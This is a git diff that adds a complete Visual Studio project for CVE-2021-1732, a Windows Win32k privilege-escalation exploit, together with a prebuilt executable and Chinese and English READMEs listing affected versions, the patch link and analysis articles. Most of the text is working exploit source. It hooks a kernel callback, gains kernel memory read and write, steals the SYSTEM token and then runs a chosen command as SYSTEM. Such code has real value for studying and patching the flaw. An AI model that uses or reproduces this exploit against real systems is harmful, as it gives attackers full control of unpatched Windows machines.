diff --git a/00-CVE_EXP/CVE-2021-1732/CVE-2021-1732.exe b/00-CVE_EXP/CVE-2021-1732/CVE-2021-1732.exe new file mode 100644 index 0000000..527d694 Binary files /dev/null and b/00-CVE_EXP/CVE-2021-1732/CVE-2021-1732.exe differ diff --git a/00-CVE_EXP/CVE-2021-1732/ExploitTest.sln b/00-CVE_EXP/CVE-2021-1732/ExploitTest.sln new file mode 100644 index 0000000..347e910 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-1732/ExploitTest.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.40629.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ExploitTest", "ExploitTest\ExploitTest.vcxproj", "{8FDF480F-F430-43FF-9D38-08C5FAF39F1A}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {8FDF480F-F430-43FF-9D38-08C5FAF39F1A}.Debug|Win32.ActiveCfg = Debug|Win32 + {8FDF480F-F430-43FF-9D38-08C5FAF39F1A}.Debug|Win32.Build.0 = Debug|Win32 + {8FDF480F-F430-43FF-9D38-08C5FAF39F1A}.Debug|x64.ActiveCfg = Debug|x64 + {8FDF480F-F430-43FF-9D38-08C5FAF39F1A}.Debug|x64.Build.0 = Debug|x64 + {8FDF480F-F430-43FF-9D38-08C5FAF39F1A}.Release|Win32.ActiveCfg = Release|Win32 + {8FDF480F-F430-43FF-9D38-08C5FAF39F1A}.Release|Win32.Build.0 = Release|Win32 + {8FDF480F-F430-43FF-9D38-08C5FAF39F1A}.Release|x64.ActiveCfg = Release|x64 + {8FDF480F-F430-43FF-9D38-08C5FAF39F1A}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/00-CVE_EXP/CVE-2021-1732/ExploitTest.v12.suo b/00-CVE_EXP/CVE-2021-1732/ExploitTest.v12.suo new file mode 100644 index 0000000..afece27 Binary files /dev/null and b/00-CVE_EXP/CVE-2021-1732/ExploitTest.v12.suo differ diff --git a/00-CVE_EXP/CVE-2021-1732/ExploitTest/ExploitTest.cpp b/00-CVE_EXP/CVE-2021-1732/ExploitTest/ExploitTest.cpp new file mode 100644 index 0000000..9e1497d --- /dev/null +++ b/00-CVE_EXP/CVE-2021-1732/ExploitTest/ExploitTest.cpp @@ -0,0 +1,710 @@ +// ExploitTest.cpp : ̨Ӧóڵ㡣 +// + +#include "stdafx.h" + +#include +#include +#include +typedef void*(NTAPI *lHMValidateHandle)(HANDLE h, int type); + +typedef DWORD64(NTAPI *fnxxxClientAllocWindowClassExtraBytes)(DWORD64 *a1); + +typedef DWORD64(NTAPI *fnNtUserConsoleControl)(int nConsoleCommand, HWND *pHwnd, int nConsoleInformationLength); + +typedef DWORD64(NTAPI *fnNtCallbackReturn)(DWORD64 *a1, DWORD64 a2, DWORD64 a3); + +typedef DWORD64 QWORD; + +#define _BYTE uint8 +#define _WORD uint16 +#define _DWORD uint32 +#define _QWORD uint64 + +lHMValidateHandle g_pfnHmValidateHandle = NULL; + +fnxxxClientAllocWindowClassExtraBytes g_oldxxxClientAllocWindowClassExtraBytes = NULL; + +QWORD g_nRandom = 0; + +QWORD g_qwExpLoit = 0; + +QWORD ref_g_pMem5 = 0; + +HWND g_hWndMax = 0; + +QWORD g_qwrpdesk = 0; + +bool g_bIsInit = 0; + +DWORD g_pmbi_rcBar_left = 0; + + +DWORD g_offset_0x1 = 0; +QWORD g_qwMinBaseAddress = 0; + +QWORD g_qwRegionSize = 0; + +DWORD g_Thrdeskhead_cLockobj_Min = 0; + +fnNtUserConsoleControl g_pfnNtUserConsoleControl = nullptr; + +fnNtCallbackReturn g_pfnNtCallbackReturn = nullptr; + +BOOL FindHMValidateHandle() { + HMODULE hUser32 = LoadLibraryA("user32.dll"); + if (hUser32 == NULL) { + printf("Failed to load user32"); + return FALSE; + } + + BYTE* pIsMenu = (BYTE *)GetProcAddress(hUser32, "IsMenu"); + if (pIsMenu == NULL) { + printf("Failed to find location of exported function 'IsMenu' within user32.dll\n"); + return FALSE; + } + unsigned int uiHMValidateHandleOffset = 0; + for (unsigned int i = 0; i < 0x1000; i++) { + BYTE* test = pIsMenu + i; + if (*test == 0xE8) { + uiHMValidateHandleOffset = i + 1; + break; + } + } + if (uiHMValidateHandleOffset == 0) { + printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n"); + return FALSE; + } + + unsigned int addr = *(unsigned int *)(pIsMenu + uiHMValidateHandleOffset); + unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr; + //The +11 is to skip the padding bytes as on Windows 10 these aren't nops + g_pfnHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11); + return TRUE; +} + + +HWND GuessHwnd(QWORD *pBaseAddress, DWORD dwRegionSize) +{ + + QWORD qwBaseAddressBak = *pBaseAddress; + + QWORD qwBaseAddress = *pBaseAddress; + + DWORD dwRegionSizeBak = dwRegionSize; + + HWND hwndMagicWindow = nullptr; + + + do + { + while (*(WORD*)qwBaseAddress != g_nRandom&dwRegionSize > 0) + { + qwBaseAddress += 2; + + dwRegionSize--; + } + + + //ȡŻIJ + + if (*(DWORD*)((DWORD*)qwBaseAddress + (0x18 >> 2) - (0xc8 >> 2)) != 0x8000000) + { + + qwBaseAddress = qwBaseAddress + 4; + + + QWORD qwSub = qwBaseAddressBak - qwBaseAddress; + + + + dwRegionSize = dwRegionSizeBak + qwSub; + + } + + + + hwndMagicWindow = (HWND)*(DWORD*)(qwBaseAddress - 0xc8); + + + if (hwndMagicWindow) + { + break; + } + + } while (true); + + + + return hwndMagicWindow; + +} + + +DWORD64 g_newxxxClientAllocWindowClassExtraBytes(DWORD64 *a1) +{ + + + + + DWORD64 dwTemp = *a1; + + if (dwTemp == g_nRandom) + { + g_offset_0x1 = 1; + + HWND hwndMagic = GuessHwnd(&g_qwMinBaseAddress, g_qwRegionSize); + + printf("MagciHwnd==%p\r\n", hwndMagic); + + + if (hwndMagic) + { + + g_pfnNtUserConsoleControl(6i64, &hwndMagic,0x10); + // + QWORD qwRet = g_Thrdeskhead_cLockobj_Min; + + + g_pfnNtCallbackReturn(&qwRet, 24i64, 0i64); + + } + } + + DWORD64 dwTest = *((PULONG64)*(a1 - 11)); + + return g_oldxxxClientAllocWindowClassExtraBytes(a1); +} + + + + + + +LRESULT __fastcall MyWndProc(HWND a1, UINT a2, WPARAM a3, LPARAM a4) +{ + if (a2 != 2) + return DefWindowProcW(a1, a2, a3, a4); + PostQuitMessage(0); + return 0i64; +} + + +QWORD MyRead64(QWORD qwDestAddr) +{ + + + + MENUBARINFO pmbi = {}; + + pmbi.cbSize = sizeof(MENUBARINFO); + + + + + if (g_bIsInit) + { + + + + } + else + { + + QWORD *pTemp = (QWORD*)LocalAlloc(0x40u, 0x200ui64); + + memset(pTemp, 0, 0x200); + + QWORD qwBase = 0x000000400000000; + + + QWORD qwAdd = 0x0000000800000008; + + + + + for (int i = 0; i < 0x40; i++) + { + + *(pTemp + i) = qwBase + qwAdd*i; + + } + + + *(QWORD *)ref_g_pMem5 = (QWORD)pTemp; + + + GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi); + + + g_pmbi_rcBar_left = pmbi.rcBar.left; + + + bool g_bIsInit = 1; + + + } + + + + + + *(QWORD *)ref_g_pMem5 = qwDestAddr - g_pmbi_rcBar_left; + + GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi); + + return (unsigned int)pmbi.rcBar.left + ((__int64)pmbi.rcBar.top << 32); +} + +int _tmain(int argc, _TCHAR* argv[]) +{ + + + system("pause"); + + + if (!FindHMValidateHandle()) { + printf("[!] Failed to locate HmValidateHandle, exiting\n"); + return 1; + } + + g_pfnNtUserConsoleControl = (fnNtUserConsoleControl)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserConsoleControl"); + + + g_pfnNtCallbackReturn = (fnNtCallbackReturn)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCallbackReturn"); + + + + + //hook xxxClientAllocWindowClassExtraBytes + + //ȡ KernelCallbackTable gsμĴ 0x60λΪPEB + // PEB ƫ0x58λΪKernelCallbackTable + DWORD64 KernelCallbackTable = *(DWORD64*)(__readgsqword(0x60u) + 0x58); + + + // 0x3d8λΪ user32!_xxxClientAllocWindowClassExtraBytes: + g_oldxxxClientAllocWindowClassExtraBytes = (fnxxxClientAllocWindowClassExtraBytes)*(DWORD64*)(KernelCallbackTable + 0x3D8);// 0x3d8λΪ + + DWORD dwOldProtect; + + VirtualProtect((LPVOID)(KernelCallbackTable + 0x3D8), 0x300ui64, 0x40u, &dwOldProtect); + *(DWORD64*)(KernelCallbackTable + 0x3D8) = (DWORD64)g_newxxxClientAllocWindowClassExtraBytes; + VirtualProtect((LPVOID)(KernelCallbackTable + 0x3D8), 0x300ui64, dwOldProtect, &dwOldProtect); + + + + srand(time(0i64)); + g_nRandom = (rand() % 255 + 0x1234) | 1; + + WNDCLASSEXW wndClass = {}; + + wndClass.lpfnWndProc = (WNDPROC)MyWndProc; + wndClass.cbSize = 80; + wndClass.style = 3; + wndClass.cbClsExtra = 0; + wndClass.cbWndExtra = 32; + wndClass.hInstance = GetModuleHandleW(0i64); + wndClass.lpszClassName = L"normalClass"; + ATOM g_lpWcxNormal = RegisterClassExW(&wndClass); + //g_nRandom + wndClass.cbWndExtra = g_nRandom; + wndClass.lpszClassName = L"magicClass"; + ATOM g_lpWcxMagic = RegisterClassExW(&wndClass); + + + + + + QWORD offset_0x2c = 0x2C; + QWORD offset_0x28 = 0x28; + QWORD offset_0x40 = 0x40; + QWORD offset_0x44 = 0x44; + QWORD offset_0x58 = 0x58; + QWORD offset_0x128 = 0x128; + QWORD offset_0xc8 = 0xc8; + QWORD offset_0x18 = 0x18; + QWORD offset_0x10 = 0x10; + QWORD offset_0x220 = 0x220; + QWORD offset_0x80 = 0x80; + QWORD offset_0x98 = 0x98; + QWORD offset_0x50 = 0x50; + QWORD offset_0xe0 = 0xe0; + + + + QWORD offset_ActiveProcessLinks = 0x2F0; + QWORD offset_InheritedFromUniqueProcessId = 0x3E8; + QWORD offset_Token = 0x360; + QWORD offset_UniqueProcessId = 0x2E8; + + CreatePopupMenu(); + + QWORD g_pMem1 = (__int64)LocalAlloc(0x40u, 0x200ui64); + QWORD g_pMem2 = (__int64)LocalAlloc(0x40u, 0x30ui64); + QWORD g_pMem3 = (__int64)LocalAlloc(0x40u, 4ui64); + QWORD g_pMem4 = (LONG_PTR)LocalAlloc(0x40u, 0xA0ui64); + HLOCAL g_pMem5 = LocalAlloc(0x40u, 8ui64); + + DWORD *ref_g_pMem1 = (DWORD *)g_pMem1; + + QWORD ref_g_pMem2 = g_pMem2; + QWORD ref_g_pMem3 = g_pMem3; + QWORD ref_g_pMem4 = g_pMem4; + ref_g_pMem5 = (__int64)g_pMem5; + + + *(DWORD *)(g_pMem2 + offset_0x2c) = 16; + *ref_g_pMem1 = 0x88888888; + *(QWORD *)&ref_g_pMem1[2 * ((unsigned int)offset_0x28 >> 3)] = ref_g_pMem2; + ref_g_pMem1[(unsigned __int64)(unsigned int)offset_0x40 >> 2] = 1; + ref_g_pMem1[(unsigned __int64)(unsigned int)offset_0x44 >> 2] = 1; + + + *(QWORD *)&ref_g_pMem1[2 * ((unsigned __int64)(unsigned int)offset_0x58 >> 3)] = (QWORD)g_pMem5; + + + + *(QWORD *)(ref_g_pMem3 + 8) = 16i64; + + + + *(QWORD *)ref_g_pMem3 = (QWORD)ref_g_pMem1; + *(QWORD *)(ref_g_pMem4 +offset_0x98) = ref_g_pMem3; + + + printf("CreateWnd\r\n"); + + struct _MEMORY_BASIC_INFORMATION Buffer = {}; + + Buffer.BaseAddress = 0i64; + Buffer.AllocationBase = 0i64; + *(QWORD *)&Buffer.AllocationProtect = 0i64; + Buffer.RegionSize = 0i64; + *(QWORD *)&Buffer.State = 0i64; + *(QWORD *)&Buffer.Type = 0i64; + + __int64 nIndex = 0i64; + __int64 nLoop = 10i64; + + QWORD Thrdeskhead_cLockObj1 = 0; + QWORD Thrdeskhead_cLockObj2 = 0; + + QWORD arrEntryDesktop[10] = {}; + HWND arrhwndNoraml[10] = {}; + + + + + do + { + + HWND hwndNormal = CreateWindowExW( + 0x8000000u, + (LPCWSTR)(unsigned __int16)g_lpWcxNormal, + L"somewnd", + 0x8000000u, + 0, + 0, + 0, + 0, + 0i64, + CreateMenu(), + GetModuleHandleW(0i64) , + 0i64); + + + + + arrhwndNoraml[nIndex] = hwndNormal; + QWORD qwfirstEntryDesktop = (QWORD)g_pfnHmValidateHandle(hwndNormal, 1); + arrEntryDesktop[nIndex] = qwfirstEntryDesktop; + + printf("Hwnd:%08x qwfirstEntryDesktop=%p\r\n", hwndNormal, qwfirstEntryDesktop); + + VirtualQuery((LPVOID)qwfirstEntryDesktop, &Buffer, 0x30ui64); + + printf("BaseAddress:%p RegionSize=:%p\r\n", Buffer.BaseAddress, Buffer.RegionSize); + + if (g_qwMinBaseAddress == 0) + { + g_qwMinBaseAddress = (QWORD)Buffer.BaseAddress; + g_qwRegionSize = (QWORD)Buffer.RegionSize; + } + else + { + if (g_qwMinBaseAddress<(QWORD)Buffer.BaseAddress) + { + } + else + { + g_qwMinBaseAddress = (QWORD)Buffer.BaseAddress; + g_qwRegionSize = (QWORD)Buffer.RegionSize; + } + + } + + + //С + + ++nIndex; + --nLoop; + } + while (nLoop); + + printf("Min BaseAddress:%p RegionSize=:%p\r\n", g_qwMinBaseAddress, g_qwRegionSize); + + + Thrdeskhead_cLockObj1 = *(DWORD *)((char *)arrEntryDesktop[0] + 8); + Thrdeskhead_cLockObj2 = *(DWORD *)((char *)arrEntryDesktop[1] + 8); + + + HWND hWndMin = *(HWND *)((char *)arrhwndNoraml + (Thrdeskhead_cLockObj2 < Thrdeskhead_cLockObj1 ? 8 : 0)); + + + + + + int nTemp = 0i64; + if (Thrdeskhead_cLockObj1 <= Thrdeskhead_cLockObj2) + nTemp = 1i64; + g_hWndMax = arrhwndNoraml[nTemp]; + QWORD firstEntryDesktop_Max = arrEntryDesktop[nTemp]; + + + firstEntryDesktop_Max = arrEntryDesktop[nTemp]; + + + + + QWORD firstEntryDesktop_Min = *(__int64 *)((char *)arrEntryDesktop + (Thrdeskhead_cLockObj2 < Thrdeskhead_cLockObj1 ? 8 : 0)); + + g_Thrdeskhead_cLockobj_Min = *(DWORD *)(firstEntryDesktop_Min + 8); + DWORD Thrdeskhead_cLockboj_Max = *(DWORD *)((char *)firstEntryDesktop_Max + 8); + for (int i = 2i64; i < 10; ++i) + DestroyWindow(arrhwndNoraml[i]); + + + g_pfnNtUserConsoleControl(6i64, &hWndMin, 0x10); + + + + DWORD tagWndMin_offset_0x128 = *(DWORD *)(firstEntryDesktop_Min + offset_0x128); + DWORD tagWndMax_offset_0x128 = *(QWORD *)(firstEntryDesktop_Max + offset_0x128); + + + + + + +HWND g_hWndMagic = CreateWindowExW( + 0x8000000u, + (LPCWSTR)(unsigned __int16)g_lpWcxMagic, + L"somewnd", + 0x8000000u, + 0, + 0, + 0, + 0, + 0i64, + CreateMenu() , + GetModuleHandleW(0i64) , + 0i64); + printf("realMagicHwnd=%p\n", g_hWndMagic); + + + + DWORD dwRet = SetWindowLongW(g_hWndMagic, offset_0x128, g_Thrdeskhead_cLockobj_Min); + + printf("dwRet=%p\r\n", dwRet); + + + printf("tagWndMin_offset_0x128=%p\r\n", tagWndMin_offset_0x128); + + + + SetWindowLongW(g_hWndMagic, offset_0xc8, 0xFFFFFFF); + + + + g_qwrpdesk = *(QWORD *)(firstEntryDesktop_Max + offset_0x18); + + + SetWindowLongPtrA(hWndMin, offset_0x18 + Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min, g_qwrpdesk ^ 0x4000000000000000i64); + + + g_qwExpLoit = SetWindowLongPtrA(g_hWndMax, -12, g_pMem4); + + + printf("g_qwExpLoit=%p\r\n", g_qwExpLoit); + + + + + QWORD qwOffset = Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min; + + + QWORD qwNewLong = g_qwExpLoit; + + + SetWindowLongPtrA(hWndMin, offset_0x18 + Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min, g_qwrpdesk ); + + + QWORD qwFrist = MyRead64(g_qwExpLoit + offset_0x50); + + + printf("qwFrist read=%p\r\n", qwFrist); + + + QWORD qwSecond = MyRead64(qwFrist + offset_0x18); + + + printf("qwSecond read=%p\r\n", qwSecond); + + + QWORD qwThird = MyRead64(qwSecond + offset_0x80); + + + printf("qwSecond read=%p\r\n", qwThird); + + + QWORD qwFourth = MyRead64(qwFrist + offset_0x10); + + printf("qwFourth read=%p\r\n", qwFourth); + + QWORD qwFifth = MyRead64(qwFourth); + + printf("qwFifth read=%p\r\n", qwFifth); + + QWORD qwEprocess = MyRead64(qwFifth + offset_0x220); + + printf("qwSixth read=%p\r\n", qwEprocess); + + + QWORD qwEprocessBak = qwEprocess; + + DWORD dwPidSelf = GetCurrentProcessId(); + + + QWORD dwSystemToken = 0; + + QWORD dwMyToken = 0; + + + QWORD qwMyTokenAddr = 0; + + + + + while (!dwSystemToken || !qwMyTokenAddr) + { + + + DWORD dwPidRead = MyRead64(qwEprocess + (unsigned int)offset_UniqueProcessId); + if (dwPidRead == 4) + dwSystemToken = MyRead64(qwEprocess + (unsigned int)offset_Token); + if (dwPidRead == dwPidSelf) + qwMyTokenAddr = qwEprocess + (unsigned int)offset_Token; + qwEprocess = MyRead64(qwEprocess + (unsigned int)offset_ActiveProcessLinks)- (unsigned int)offset_ActiveProcessLinks; + + if (qwEprocessBak==qwEprocess) + { + break; + } + + } + + //write64 + SetWindowLongPtrA(hWndMin, Thrdeskhead_cLockboj_Max + offset_0x128 - g_Thrdeskhead_cLockobj_Min, qwMyTokenAddr); + + SetWindowLongPtrA(g_hWndMax, 0, dwSystemToken); + + + + SECURITY_ATTRIBUTES sa; + HANDLE hRead, hWrite; + byte buf[40960] = { 0 }; + STARTUPINFOW si; + PROCESS_INFORMATION pi; + DWORD bytesRead; + RtlSecureZeroMemory(&si, sizeof(si)); + RtlSecureZeroMemory(&pi, sizeof(pi)); + RtlSecureZeroMemory(&sa, sizeof(sa)); + int br = 0; + sa.nLength = sizeof(SECURITY_ATTRIBUTES); + sa.lpSecurityDescriptor = NULL; + sa.bInheritHandle = TRUE; + if (!CreatePipe(&hRead, &hWrite, &sa, 0)) + { + return -3; + } + wprintf(L"[*] Trying to execute %s as SYSTEM\n", argv[1]); + si.cb = sizeof(STARTUPINFO); + GetStartupInfoW(&si); + si.hStdError = hWrite; + si.hStdOutput = hWrite; + si.wShowWindow = SW_HIDE; + si.lpDesktop = L"WinSta0\\Default"; + si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; + wchar_t cmd[4096] = { 0 }; + lstrcpyW(cmd, argv[1]); + if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) + { + CloseHandle(hWrite); + CloseHandle(hRead); + printf("[!] CreateProcessW Failed![%lx]\n", GetLastError()); + return -2; + } + CloseHandle(hWrite); + printf("[+] ProcessCreated with pid %d!\n", pi.dwProcessId); + while (1) + { + if (!ReadFile(hRead, buf + br, 4000, &bytesRead, NULL)) + break; + br += bytesRead; + } + puts("==============================="); + puts((char*)buf); + fflush(stdout); + fflush(stderr); + CloseHandle(hRead); + CloseHandle(pi.hProcess); + + + + + + + + + + QWORD tagWndMagic = (QWORD)g_pfnHmValidateHandle(g_hWndMagic, 1i64); + + int nSizeofPointer = 8i64; + + + + QWORD qwcbwndExtra = *(QWORD *)(tagWndMagic + offset_0xe0) ^ 0x80000000000i64; + + + SetWindowLongPtrA(hWndMin, offset_0x128 + Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min, qwThird + *(unsigned int *)(nSizeofPointer + tagWndMagic) + (unsigned int)offset_0x128); + SetWindowLongPtrA(g_hWndMax, 0, 0i64); + SetWindowLongPtrA(hWndMin, offset_0x128 + Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min, qwThird + *(unsigned int *)(nSizeofPointer + tagWndMagic) + (unsigned int)offset_0xe0); + SetWindowLongPtrA(g_hWndMax, 0, qwcbwndExtra); + + SetWindowLongPtrA(hWndMin, offset_0x18 + Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min, g_qwrpdesk ^ 0x4000000000000000i64); + SetWindowLongPtrA(g_hWndMax, -12, qwNewLong); + + + + + SetWindowLongPtrA(hWndMin, offset_0x18 + Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min, g_qwrpdesk ); + SetWindowLongPtrA(hWndMin, offset_0x128 + Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min, tagWndMax_offset_0x128); + SetWindowLongPtrA(hWndMin, offset_0x128, (unsigned int)tagWndMin_offset_0x128); + + + system("pause"); + + return 0; +} + diff --git a/00-CVE_EXP/CVE-2021-1732/ExploitTest/ExploitTest.vcxproj b/00-CVE_EXP/CVE-2021-1732/ExploitTest/ExploitTest.vcxproj new file mode 100644 index 0000000..99eb6aa --- /dev/null +++ b/00-CVE_EXP/CVE-2021-1732/ExploitTest/ExploitTest.vcxproj @@ -0,0 +1,161 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {8FDF480F-F430-43FF-9D38-08C5FAF39F1A} + Win32Proj + ExploitTest + + + + Application + true + v120 + Unicode + + + Application + true + v120 + Unicode + + + Application + false + v120 + true + Unicode + + + Application + false + v120 + true + Unicode + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + true + MultiThreadedDebug + + + Console + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + + + + + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-1732/ExploitTest/ExploitTest.vcxproj.filters b/00-CVE_EXP/CVE-2021-1732/ExploitTest/ExploitTest.vcxproj.filters new file mode 100644 index 0000000..a272cd9 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-1732/ExploitTest/ExploitTest.vcxproj.filters @@ -0,0 +1,36 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + 头文件 + + + 头文件 + + + + + 源文件 + + + 源文件 + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-1732/ExploitTest/ExploitTest.vcxproj.user b/00-CVE_EXP/CVE-2021-1732/ExploitTest/ExploitTest.vcxproj.user new file mode 100644 index 0000000..ef5ff2a --- /dev/null +++ b/00-CVE_EXP/CVE-2021-1732/ExploitTest/ExploitTest.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-1732/ExploitTest/ReadMe.txt b/00-CVE_EXP/CVE-2021-1732/ExploitTest/ReadMe.txt new file mode 100644 index 0000000..d00e869 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-1732/ExploitTest/ReadMe.txt @@ -0,0 +1,30 @@ +======================================================================== + 控制台应用程序:ExploitTest 项目概述 +======================================================================== + +应用程序向导已为您创建了此 ExploitTest 应用程序。 + +本文件概要介绍组成 ExploitTest 应用程序的每个文件的内容。 + + +ExploitTest.vcxproj + 这是使用应用程序向导生成的 VC++ 项目的主项目文件,其中包含生成该文件的 Visual C++ 的版本信息,以及有关使用应用程序向导选择的平台、配置和项目功能的信息。 + +ExploitTest.vcxproj.filters + 这是使用“应用程序向导”生成的 VC++ 项目筛选器文件。它包含有关项目文件与筛选器之间的关联信息。在 IDE 中,通过这种关联,在特定节点下以分组形式显示具有相似扩展名的文件。例如,“.cpp”文件与“源文件”筛选器关联。 + +ExploitTest.cpp + 这是主应用程序源文件。 + +///////////////////////////////////////////////////////////////////////////// +其他标准文件: + +StdAfx.h, StdAfx.cpp + 这些文件用于生成名为 ExploitTest.pch 的预编译头 (PCH) 文件和名为 StdAfx.obj 的预编译类型文件。 + +///////////////////////////////////////////////////////////////////////////// +其他注释: + +应用程序向导使用“TODO:”注释来指示应添加或自定义的源代码部分。 + +///////////////////////////////////////////////////////////////////////////// diff --git a/00-CVE_EXP/CVE-2021-1732/ExploitTest/stdafx.cpp b/00-CVE_EXP/CVE-2021-1732/ExploitTest/stdafx.cpp new file mode 100644 index 0000000..76142e0 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-1732/ExploitTest/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : ֻ׼ļԴļ +// ExploitTest.pch ΪԤͷ +// stdafx.obj ԤϢ + +#include "stdafx.h" + +// TODO: STDAFX.H +// κĸͷļڴļ diff --git a/00-CVE_EXP/CVE-2021-1732/ExploitTest/stdafx.h b/00-CVE_EXP/CVE-2021-1732/ExploitTest/stdafx.h new file mode 100644 index 0000000..baa4bbc --- /dev/null +++ b/00-CVE_EXP/CVE-2021-1732/ExploitTest/stdafx.h @@ -0,0 +1,15 @@ +// stdafx.h : ׼ϵͳļİļ +// Ǿʹõĵ +// ضĿİļ +// + +#pragma once + +#include "targetver.h" + +#include +#include + + + +// TODO: ڴ˴óҪͷļ diff --git a/00-CVE_EXP/CVE-2021-1732/ExploitTest/targetver.h b/00-CVE_EXP/CVE-2021-1732/ExploitTest/targetver.h new file mode 100644 index 0000000..7a7d2c8 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-1732/ExploitTest/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// SDKDDKVer.h õ߰汾 Windows ƽ̨ + +// ҪΪǰ Windows ƽ̨Ӧó WinSDKVer.h +// WIN32_WINNT ΪҪֵ֧ƽ̨Ȼٰ SDKDDKVer.h + +#include diff --git a/00-CVE_EXP/CVE-2021-1732/README.md b/00-CVE_EXP/CVE-2021-1732/README.md new file mode 100644 index 0000000..1a9b9bc --- /dev/null +++ b/00-CVE_EXP/CVE-2021-1732/README.md @@ -0,0 +1,47 @@ +### CVE-2021-1732 + +#### 描述 + +Win32k 权限提升漏洞 + +#### 影响版本 + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | ------------------ | +| Windows 10 | x64/x86/ARM64 | 20H2 | | | +| Windows 10 | x64/x86/ARM64 | 2004 | | | +| Windows 10 | x64/x86/ARM64 | 1909 | | ✔ | +| Windows 10 | x64/x86/ARM64 | 1809 | | ✔ | +| Windows 10 | x64/x86/ARM64 | 1803 | | | +| Windows 10 | x64/x86/ARM64 | | | | +| Windows Server 2019 | | | | | +| Windows Server | | 1909 | | | +| Windows Server | | 2004 | | | +| Windows Server | | 20H2 | | | + +#### 修复补丁 + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1732 +``` + +#### 利用方式 + +编译环境 + +- VS2019(V120)X64 Debug + +这里测试机器是Windows 10 1909 x64,上GIF图 + +![1](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-1732_windows_10_1909_x64.gif) + +#### 分析文章 +- https://www.freebuf.com/vuls/270295.html +- https://021w.github.io/2021/03/12/CVE-2021-1732Win32kfull-sys%E5%86%85%E6%A0%B8%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/ +- https://laptrinhx.com/shen-ru-pou-xicve-2021-1732lou-dong-1153028117/ +- https://bbs.pediy.com/thread-266362.htm +- https://www.secrss.com/articles/29758 + +#### 代码来源 + +- [KaLendsi](https://github.com/KaLendsi/CVE-2021-1732-Exploit) \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-1732/README_EN.md b/00-CVE_EXP/CVE-2021-1732/README_EN.md new file mode 100644 index 0000000..34ccd64 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-1732/README_EN.md @@ -0,0 +1,48 @@ +### CVE-2021-1732 + +#### Describe + +Windows Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-1698. + + +#### ImpactVersion + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | ------------------ | +| Windows 10 | x64/x86/ARM64 | 20H2 | | | +| Windows 10 | x64/x86/ARM64 | 2004 | | | +| Windows 10 | x64/x86/ARM64 | 1909 | | ✔ | +| Windows 10 | x64/x86/ARM64 | 1809 | | ✔ | +| Windows 10 | x64/x86/ARM64 | 1803 | | | +| Windows 10 | x64/x86/ARM64 | | | | +| Windows Server 2019 | | | | | +| Windows Server | | 1909 | | | +| Windows Server | | 2004 | | 